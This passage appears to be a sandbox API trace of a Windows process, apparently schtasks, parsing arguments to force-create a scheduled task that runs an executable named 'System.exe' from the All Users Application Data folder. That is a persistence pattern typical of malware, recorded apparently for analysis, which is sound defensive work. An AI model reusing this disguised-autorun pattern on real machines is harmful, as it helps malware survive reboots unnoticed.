_Buffer="|delete|") returned 8 [0127.658] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.658] lstrlenW (lpString="|delete|") returned 8 [0127.658] lstrlenW (lpString="|tr|") returned 4 [0127.658] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0127.658] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.658] lstrlenW (lpString="query") returned 5 [0127.658] lstrlenW (lpString="query") returned 5 [0127.658] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.658] lstrlenW (lpString="tr") returned 2 [0127.658] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x8, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|query|") returned 7 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.659] lstrlenW (lpString="|query|") returned 7 [0127.659] lstrlenW (lpString="|tr|") returned 4 [0127.659] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0127.659] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.659] lstrlenW (lpString="change") returned 6 [0127.659] lstrlenW (lpString="change") returned 6 [0127.659] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.659] lstrlenW (lpString="tr") returned 2 [0127.659] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|change|") returned 8 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.659] lstrlenW (lpString="|change|") returned 8 [0127.659] lstrlenW (lpString="|tr|") returned 4 [0127.659] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0127.659] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.659] lstrlenW (lpString="run") returned 3 [0127.659] lstrlenW (lpString="run") returned 3 [0127.659] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.659] lstrlenW (lpString="tr") returned 2 [0127.659] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|run|") returned 5 [0127.659] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.659] lstrlenW (lpString="|run|") returned 5 [0127.660] lstrlenW (lpString="|tr|") returned 4 [0127.660] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0127.660] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.660] lstrlenW (lpString="end") returned 3 [0127.660] lstrlenW (lpString="end") returned 3 [0127.660] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.660] lstrlenW (lpString="tr") returned 2 [0127.660] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.660] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|end|") returned 5 [0127.660] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.660] lstrlenW (lpString="|end|") returned 5 [0127.660] lstrlenW (lpString="|tr|") returned 4 [0127.660] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0127.660] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.660] lstrlenW (lpString="showsid") returned 7 [0127.660] lstrlenW (lpString="showsid") returned 7 [0127.660] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.660] lstrlenW (lpString="tr") returned 2 [0127.660] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.660] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0xa, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|showsid|") returned 9 [0127.660] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.660] lstrlenW (lpString="|showsid|") returned 9 [0127.660] lstrlenW (lpString="|tr|") returned 4 [0127.660] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0127.660] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.660] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] lstrlenW (lpString="/tr") returned 3 [0127.661] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] lstrlenW (lpString="/tr") returned 3 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x8) returned 0x1eb77c13c10 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b8f0 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.661] lstrlenW (lpString="-/") returned 2 [0127.661] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.661] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.661] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0127.661] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c13c30 [0127.661] _memicmp (_Buf1=0x1eb77c13c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1a8e0 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c1a960 [0127.661] _memicmp (_Buf1=0x1eb77c1a960, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.661] GetProcessHeap () returned 0x1eb77c10000 [0127.661] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x64) returned 0x1eb77c1bc90 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] lstrlenW (lpString="'C") returned 2 [0127.662] lstrlenW (lpString="-/") returned 2 [0127.662] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.662] GetProcessHeap () returned 0x1eb77c10000 [0127.662] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x62) returned 0x1eb77c1bd00 [0127.662] GetProcessHeap () returned 0x1eb77c10000 [0127.662] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b590 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.662] lstrlenW (lpString="/f") returned 2 [0127.662] lstrlenW (lpString="-/") returned 2 [0127.662] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.662] lstrlenW (lpString="?") returned 1 [0127.662] lstrlenW (lpString="?") returned 1 [0127.662] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.662] lstrlenW (lpString="f") returned 1 [0127.662] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.662] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.662] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.662] lstrlenW (lpString="|?|") returned 3 [0127.662] lstrlenW (lpString="|f|") returned 3 [0127.662] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0127.663] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.663] lstrlenW (lpString="create") returned 6 [0127.663] lstrlenW (lpString="create") returned 6 [0127.663] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.663] lstrlenW (lpString="f") returned 1 [0127.663] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.663] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.663] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.663] lstrlenW (lpString="|create|") returned 8 [0127.663] lstrlenW (lpString="|f|") returned 3 [0127.663] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0127.663] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.663] lstrlenW (lpString="delete") returned 6 [0127.663] lstrlenW (lpString="delete") returned 6 [0127.663] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.663] lstrlenW (lpString="f") returned 1 [0127.663] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.663] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|delete|") returned 8 [0127.663] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.663] lstrlenW (lpString="|delete|") returned 8 [0127.663] lstrlenW (lpString="|f|") returned 3 [0127.663] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0127.663] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.663] lstrlenW (lpString="query") returned 5 [0127.663] lstrlenW (lpString="query") returned 5 [0127.663] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.663] lstrlenW (lpString="f") returned 1 [0127.664] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x8, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|query|") returned 7 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.664] lstrlenW (lpString="|query|") returned 7 [0127.664] lstrlenW (lpString="|f|") returned 3 [0127.664] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0127.664] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.664] lstrlenW (lpString="change") returned 6 [0127.664] lstrlenW (lpString="change") returned 6 [0127.664] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.664] lstrlenW (lpString="f") returned 1 [0127.664] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|change|") returned 8 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.664] lstrlenW (lpString="|change|") returned 8 [0127.664] lstrlenW (lpString="|f|") returned 3 [0127.664] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0127.664] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.664] lstrlenW (lpString="run") returned 3 [0127.664] lstrlenW (lpString="run") returned 3 [0127.664] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.664] lstrlenW (lpString="f") returned 1 [0127.664] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|run|") returned 5 [0127.664] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.664] lstrlenW (lpString="|run|") returned 5 [0127.664] lstrlenW (lpString="|f|") returned 3 [0127.665] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0127.665] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.665] lstrlenW (lpString="end") returned 3 [0127.665] lstrlenW (lpString="end") returned 3 [0127.665] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.665] lstrlenW (lpString="f") returned 1 [0127.665] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.665] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|end|") returned 5 [0127.665] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.665] lstrlenW (lpString="|end|") returned 5 [0127.665] lstrlenW (lpString="|f|") returned 3 [0127.665] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0127.665] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.665] lstrlenW (lpString="showsid") returned 7 [0127.665] lstrlenW (lpString="showsid") returned 7 [0127.665] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.665] lstrlenW (lpString="f") returned 1 [0127.665] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.665] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0xa, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|showsid|") returned 9 [0127.665] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|f|") returned 3 [0127.665] lstrlenW (lpString="|showsid|") returned 9 [0127.665] lstrlenW (lpString="|f|") returned 3 [0127.665] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0127.665] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.665] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.665] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.665] lstrlenW (lpString="/f") returned 2 [0127.665] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0127.666] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.666] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.666] lstrlenW (lpString="/f") returned 2 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x6) returned 0x1eb77c13c50 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b890 [0127.666] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14310) returned 1 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14310) returned 0x8 [0127.666] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14310) returned 1 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b560) returned 1 [0127.666] GetProcessHeap () returned 0x1eb77c10000 [0127.666] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b560) returned 0x20 [0127.667] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b560) returned 1 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13b70) returned 1 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13b70) returned 0x10 [0127.667] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13b70) returned 1 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b8c0) returned 1 [0127.667] GetProcessHeap () returned 0x1eb77c10000 [0127.667] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b8c0) returned 0x20 [0127.667] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b8c0) returned 1 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13b90) returned 1 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13b90) returned 0x8 [0127.668] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13b90) returned 1 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b3b0) returned 1 [0127.668] GetProcessHeap () returned 0x1eb77c10000 [0127.668] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b3b0) returned 0x20 [0127.668] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b3b0) returned 1 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13bb0) returned 1 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13bb0) returned 0xe [0127.669] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13bb0) returned 1 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b5f0) returned 1 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.669] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b5f0) returned 0x20 [0127.669] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b5f0) returned 1 [0127.669] GetProcessHeap () returned 0x1eb77c10000 [0127.671] GetProcessHeap () returned 0x1eb77c10000 [0127.671] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13bd0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13bd0) returned 0x8 [0127.672] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13bd0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b4d0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b4d0) returned 0x20 [0127.672] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b4d0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13bf0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13bf0) returned 0x6 [0127.672] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13bf0) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b470) returned 1 [0127.672] GetProcessHeap () returned 0x1eb77c10000 [0127.672] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b470) returned 0x20 [0127.673] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b470) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13c10) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13c10) returned 0x8 [0127.673] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13c10) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b8f0) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b8f0) returned 0x20 [0127.673] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b8f0) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1bd00) returned 1 [0127.673] GetProcessHeap () returned 0x1eb77c10000 [0127.673] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1bd00) returned 0x62 [0127.674] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1bd00) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b590) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b590) returned 0x20 [0127.674] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b590) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13c50) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13c50) returned 0x6 [0127.674] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13c50) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b890) returned 1 [0127.674] GetProcessHeap () returned 0x1eb77c10000 [0127.674] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b890) returned 0x20 [0127.675] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b890) returned 1 [0127.675] GetProcessHeap () returned 0x1eb77c10000 [0127.675] GetProcessHeap () returned 0x1eb77c10000 [0127.675] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14a30) returned 1 [0127.675] GetProcessHeap () returned 0x1eb77c10000 [0127.675] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14a30) returned 0x18 [0127.675] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14a30) returned 1 [0127.675] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.675] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0127.675] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0127.675] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0127.675] RtlVerifyVersionInfo (VersionInfo=0x8f10f2c7b0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0127.675] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.675] lstrlenW (lpString="create") returned 6 [0127.675] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0127.675] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.675] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.676] lstrlenW (lpString="create") returned 6 [0127.676] GetProcessHeap () returned 0x1eb77c10000 [0127.676] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b860 [0127.676] GetProcessHeap () returned 0x1eb77c10000 [0127.676] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c1a9c0 [0127.676] _memicmp (_Buf1=0x1eb77c1a9c0, 